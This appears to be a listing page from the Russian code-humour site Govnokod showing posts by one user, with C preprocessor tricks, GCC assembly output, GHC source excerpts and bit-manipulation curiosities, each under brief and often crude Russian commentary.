                  #define NARG(...)     func(PP_NARG(__VA_ARGS__), __VA_ARGS__)
                   
                  #define INCR 20
                   
                  #define FIELD_0(...)
                   
                  #define FIELD_1(field, ...) \
                    INCR+field
                   
                  #define FIELD_2(field, ...) \
                    INCR+field, FIELD_1(__VA_ARGS__)
                   
                  #define FIELD_3(field, ...) \
                    INCR+field, FIELD_2(__VA_ARGS__)
                   
                  #define FIELD_4(field, ...) \
                    INCR+field, FIELD_3(__VA_ARGS__)
                   
                  #define FIELD_5(field, ...) \
                    INCR+field, FIELD_4(__VA_ARGS__)
                   
                  #define FIELD_5(field, ...) \
                    INCR+field, FIELD_4(__VA_ARGS__)
                   
                  #define FIELD_6(field, ...) \
                    INCR+field, FIELD_5(__VA_ARGS__)
                   
                  #define FIELD_7(field, ...) \
                    INCR+field, FIELD_6(__VA_ARGS__)
                   
                  #define FIELD_8(field, ...) \
                    INCR+field, FIELD_7(__VA_ARGS__)
                   
                  #define FIELD_9(field, ...) \
                    INCR+field, FIELD_8(__VA_ARGS__)
                   
                  #define FIELD_10(field, ...) \
                    INCR+field, FIELD_9(__VA_ARGS__)
                   
                  #define FIELD_11(field, ...) \
                    INCR+field, FIELD_10(__VA_ARGS__)
                  //..... дальше лень ...
                   
                  #define FIELDS_(N, ...) \
                    SPLICE(FIELD_, N)(__VA_ARGS__)
                   
                  #define FIELDS(...) \
                    FIELDS_(PP_NARG(__VA_ARGS__), __VA_ARGS__)
                   
                   
                  a = { FIELDS('p', 'a', 's', 's', 'w', 'o', 'r', 'd') }

                  Примитивное компил-тайм шифрование строки через сишный препроцессор. На выходе получаем

                  a = { 20 +'p', 20 +'a', 20 +'s', 20 +'s', 20 +'w', 20 +'o', 20 +'r', 20 +'d' };

                  Базируется на http://smackerelofopinion.blogspot.com/2011/10/determining-number-of-arguments-in-c.html

                  j123123, 06 Февраля 2014

                  Комментарии (18)
                8. Assembler / Говнокод #13931

                  +129

                  1. 01
                  2. 02
                  3. 03
                  4. 04
                  5. 05
                  6. 06
                  7. 07
                  8. 08
                  9. 09
                  10. 10
                  11. 11
                  12. 12
                  13. 13
                  14. 14
                  product:
                  .LFB34:
                          .cfi_startproc
                          xor     eax, eax
                          test    esi, esi
                          je      .L7
                          lea     eax, [rsi-1]
                          mov     edi, edi
                          add     rax, 1
                          imul    rax, rdi
                  .L7:
                          rep
                          ret
                          .cfi_endproc

                  Оптимизациия умножения через рекурсию. Сишный код:

                  inline unsigned long int product_0(const unsigned int a, const unsigned int b, const unsigned long int tmp)
                  
                  {
                  
                    if (b == 0) return tmp;
                  
                    return product_0(a, b-1, tmp+a);
                  
                  }
                  
                  
                  
                  unsigned long int product(const unsigned int a, const unsigned int b)
                  
                  {
                  
                    return product_0(a, b, 0);
                  
                  }

                  Распознать умножение (imul) в этой рекурсивной хрени компилятор смог, но при этом как-то через жопу, нагенерировав при этом много лишнего говна.
                  gcc version 4.5.1

                  j123123, 12 Октября 2013

                  Комментарии (69)
                9. Си / Говнокод #13546

                  +140

                  1. 01
                  2. 02
                  3. 03
                  4. 04
                  5. 05
                  6. 06
                  7. 07
                  8. 08
                  9. 09
                  10. 10
                  11. 11
                  12. 12
                  #include <stdio.h>
                  
                  int main()
                  {
                    printf("test\n");
                    
                    __asm volatile (".rept 10\n");
                    printf("test\n");
                    __asm volatile (".endr");
                    
                    return 0;
                  }

                  Еще немного поиздевался над GCC. Через ассемблерные вставки, точнее через вставку директивы .rept иногда можно повторить некоторый кусок кода несколько раз. Работает это далеко не всегда
                  http://sourceware.org/binutils/docs/as/Rept.html
                  Этот .rept по сути просто копипастит кусок кода

                  j123123, 04 Августа 2013

                  Комментарии (11)
                10. Си / Говнокод #13512

                  +130

                  1. 01
                  2. 02
                  3. 03
                  4. 04
                  5. 05
                  6. 06
                  7. 07
                  8. 08
                  9. 09
                  10. 10
                  11. 11
                  12. 12
                  13. 13
                  14. 14
                  15. 15
                  16. 16
                  17. 17
                  18. 18
                  19. 19
                  20. 20
                  21. 21
                  22. 22
                  23. 23
                  24. 24
                  25. 25
                  26. 26
                  27. 27
                  28. 28
                  29. 29
                  30. 30
                  31. 31
                  32. 32
                  33. 33
                  34. 34
                  35. 35
                  36. 36
                  37. 37
                  38. 38
                  39. 39
                  40. 40
                  41. 41
                  #include <stdio.h>
                  
                  int main()
                  {
                      int a = 5, b = 6;
                      void* go;
                      go = ( a > b )? &&true1: &&false1;
                      goto *go;
                  
                        true1:
                        {
                          printf("%i > %i\n", a, b);
                          goto next1;
                        }
                  
                        false1:
                        {
                          printf("%i <= %i\n", a, b);
                        }
                  
                      next1:
                  
                  
                      a = 7;
                      go = ( a > b )? &&true2: &&false2;
                      goto *go;
                      
                        true2:
                        {
                          printf("%i > %i\n", a, b);
                          goto next2;
                        }
                  
                        false2:
                        {
                          printf("%i <= %i\n", a, b);
                        }
                  
                      next2:
                      return 0;
                  }

                  В GCC есть такой экстеншен http://gcc.gnu.org/onlinedocs/gcc/Labels-as-Values.html
                  Можно в goto передавать переменную и можно работать с адресами меток. В сочетании с тернарной условной операцией, этим можно заменить if

                  j123123, 30 Июля 2013

                  Комментарии (58)
                   
                   
                  1. Си / Говнокод #13492

                    +122

                    1. 01
                    2. 02
                    3. 03
                    4. 04
                    5. 05
                    6. 06
                    7. 07
                    8. 08
                    9. 09
                    10. 10
                    11. 11
                    12. 12
                    13. 13
                    14. 14
                    15. 15
                    16. 16
                    17. 17
                    18. 18
                    19. 19
                    20. 20
                    21. 21
                    22. 22
                    23. 23
                    24. 24
                    25. 25
                    26. 26
                    27. 27
                    28. 28
                    29. 29
                    30. 30
                    31. 31
                    32. 32
                    33. 33
                    34. 34
                    35. 35
                    36. 36
                    37. 37
                    38. 38
                    39. 39
                    40. 40
                    41. 41
                    42. 42
                    43. 43
                    #if defined(REG_R1) && !defined(NO_GLOBAL_REG_DECLS)
                    GLOBAL_REG_DECL(StgUnion,R1,REG_R1)
                    #else
                    # define R1 (BaseReg->rR1)
                    #endif
                    
                    #if defined(REG_R2) && !defined(NO_GLOBAL_REG_DECLS)
                    GLOBAL_REG_DECL(StgUnion,R2,REG_R2)
                    #else
                    # define R2 (BaseReg->rR2)
                    #endif
                    
                    #if defined(REG_R3) && !defined(NO_GLOBAL_REG_DECLS)
                    GLOBAL_REG_DECL(StgUnion,R3,REG_R3)
                    #else
                    # define R3 (BaseReg->rR3)
                    #endif
                    
                    #if defined(REG_R4) && !defined(NO_GLOBAL_REG_DECLS)
                    GLOBAL_REG_DECL(StgUnion,R4,REG_R4)
                    #else
                    # define R4 (BaseReg->rR4)
                    #endif
                    
                    #if defined(REG_R5) && !defined(NO_GLOBAL_REG_DECLS)
                    GLOBAL_REG_DECL(StgUnion,R5,REG_R5)
                    #else
                    # define R5 (BaseReg->rR5)
                    #endif
                    
                    #if defined(REG_R6) && !defined(NO_GLOBAL_REG_DECLS)
                    GLOBAL_REG_DECL(StgUnion,R6,REG_R6)
                    #else
                    # define R6 (BaseReg->rR6)
                    #endif
                    
                    #if defined(REG_R7) && !defined(NO_GLOBAL_REG_DECLS)
                    GLOBAL_REG_DECL(StgUnion,R7,REG_R7)
                    #else
                    # define R7 (BaseReg->rR7)
                    #endif
                    
                    ...

                    Исходник GHC
                    https://github.com/ghc/ghc/blob/master/includes/stg/Regs.h#L147

                    j123123, 27 Июля 2013

                    Комментарии (39)
                  2. Куча / Говнокод #13491

                    +125

                    1. 01
                    2. 02
                    3. 03
                    4. 04
                    5. 05
                    6. 06
                    7. 07
                    8. 08
                    9. 09
                    10. 10
                    11. 11
                    12. 12
                    13. 13
                    14. 14
                    15. 15
                    16. 16
                    slowCallPattern (P: P: P: P: P: P: _) = (fsLit "stg_ap_pppppp", 6)
                    slowCallPattern (P: P: P: P: P: _) = (fsLit "stg_ap_ppppp", 5)
                    slowCallPattern (P: P: P: P: _) = (fsLit "stg_ap_pppp", 4)
                    slowCallPattern (P: P: P: V: _) = (fsLit "stg_ap_pppv", 4)
                    slowCallPattern (P: P: P: _) = (fsLit "stg_ap_ppp", 3)
                    slowCallPattern (P: P: V: _) = (fsLit "stg_ap_ppv", 3)
                    slowCallPattern (P: P: _) = (fsLit "stg_ap_pp", 2)
                    slowCallPattern (P: V: _) = (fsLit "stg_ap_pv", 2)
                    slowCallPattern (P: _) = (fsLit "stg_ap_p", 1)
                    slowCallPattern (V: _) = (fsLit "stg_ap_v", 1)
                    slowCallPattern (N: _) = (fsLit "stg_ap_n", 1)
                    slowCallPattern (F: _) = (fsLit "stg_ap_f", 1)
                    slowCallPattern (D: _) = (fsLit "stg_ap_d", 1)
                    slowCallPattern (L: _) = (fsLit "stg_ap_l", 1)
                    slowCallPattern (V16: _) = (fsLit "stg_ap_v16", 1)
                    slowCallPattern [] = (fsLit "stg_ap_0", 0)

                    Исходник GHC
                    https://github.com/ghc/ghc/blob/master/compiler/codeGen/StgCmmArgRep.hs#L120

                    j123123, 27 Июля 2013

                    Комментарии (5)
                  3. Си / Говнокод #13461

                    +134

                    1. 01
                    2. 02
                    3. 03
                    4. 04
                    5. 05
                    6. 06
                    7. 07
                    8. 08
                    9. 09
                    10. 10
                    11. 11
                    12. 12
                    13. 13
                    14. 14
                    15. 15
                    16. 16
                    17. 17
                    18. 18
                    19. 19
                    20. 20
                    21. 21
                    22. 22
                    23. 23
                    24. 24
                    25. 25
                    26. 26
                    27. 27
                    28. 28
                    29. 29
                    30. 30
                    #include <stdio.h>
                    #include <stdint.h>
                    #include <string.h>
                    #include <inttypes.h>
                    
                    union Str
                    {
                       uint64_t a;
                       char  str[8];
                    };
                    
                    int main(void)
                    {
                      union Str str;
                      memcpy( &str.str, "12345678", sizeof(str.a));
                    
                    
                    str.a = ((str.a & 0x0F000F000F000F00)>>8) +
                            ((str.a & 0x000F000F000F000F)*10);
                    
                    str.a = 1000000 * ((str.a >> 0 ) & 0xFF) +
                              10000 * ((str.a >> 16) & 0xFF) +
                                100 * ((str.a >> 32) & 0xFF) +
                                      ((str.a >> 48) & 0xFF);
                    //little-endian only. Можно переделать под big-endian
                    
                    printf("%"PRIu64, str.a);
                    
                    return 0;
                    }

                    Байтоебское преобразование строки из 8 цифр(в виде ascii символов) в число

                    j123123, 21 Июля 2013

                    Комментарии (10)
                  4. Си / Говнокод #13443

                    +138

                    1. 01
                    2. 02
                    3. 03
                    4. 04
                    5. 05
                    6. 06
                    7. 07
                    8. 08
                    9. 09
                    10. 10
                    11. 11
                    12. 12
                    13. 13
                    14. 14
                    15. 15
                    16. 16
                    17. 17
                    18. 18
                    19. 19
                    uint32_t multiply (uint16_t a, uint16_t b)
                    {
                      return ((a &  ( (int16_t)( ( b & (1 << 0) ) << 15 ) ) / ( 1 << 15) ) << 0 ) +
                             ((a &  ( (int16_t)( ( b & (1 << 1) ) << 14 ) ) / ( 1 << 15) ) << 1 ) +
                             ((a &  ( (int16_t)( ( b & (1 << 2) ) << 13 ) ) / ( 1 << 15) ) << 2 ) +
                             ((a &  ( (int16_t)( ( b & (1 << 3) ) << 12 ) ) / ( 1 << 15) ) << 3 ) +
                             ((a &  ( (int16_t)( ( b & (1 << 4) ) << 11 ) ) / ( 1 << 15) ) << 4 ) +
                             ((a &  ( (int16_t)( ( b & (1 << 5) ) << 10 ) ) / ( 1 << 15) ) << 5 ) +
                             ((a &  ( (int16_t)( ( b & (1 << 6) ) << 9  ) ) / ( 1 << 15) ) << 6 ) +
                             ((a &  ( (int16_t)( ( b & (1 << 7) ) << 8  ) ) / ( 1 << 15) ) << 7 ) +
                             ((a &  ( (int16_t)( ( b & (1 << 8) ) << 7  ) ) / ( 1 << 15) ) << 8 ) +
                             ((a &  ( (int16_t)( ( b & (1 << 9) ) << 6  ) ) / ( 1 << 15) ) << 9 ) +
                             ((a &  ( (int16_t)( ( b & (1 <<10) ) << 5  ) ) / ( 1 << 15) ) << 10) +
                             ((a &  ( (int16_t)( ( b & (1 <<11) ) << 4  ) ) / ( 1 << 15) ) << 11) +
                             ((a &  ( (int16_t)( ( b & (1 <<12) ) << 3  ) ) / ( 1 << 15) ) << 12) +
                             ((a &  ( (int16_t)( ( b & (1 <<13) ) << 2  ) ) / ( 1 << 15) ) << 13) +
                             ((a &  ( (int16_t)( ( b & (1 <<14) ) << 1  ) ) / ( 1 << 15) ) << 14) +
                             ((a &  ( (int16_t)( ( b & (1 <<15) ) << 0  ) ) / ( 1 << 15) ) << 15);
                    }

                    Умножение двух чисел через битовые маски и сдвиги без условных переходов. Компилятор переведет деление инта на сдвинутую единчку в арифметический сдвиг
                    Использование ">>" применительно к signed типам - implementation defined http://stackoverflow.com/questions/4009885/arithmetic-bit-shift-on-a-signed-integer/4009922

                    j123123, 18 Июля 2013

                    Комментарии (18)

Комментарии

Популярные сообщения из этого блога

8

Kiev

1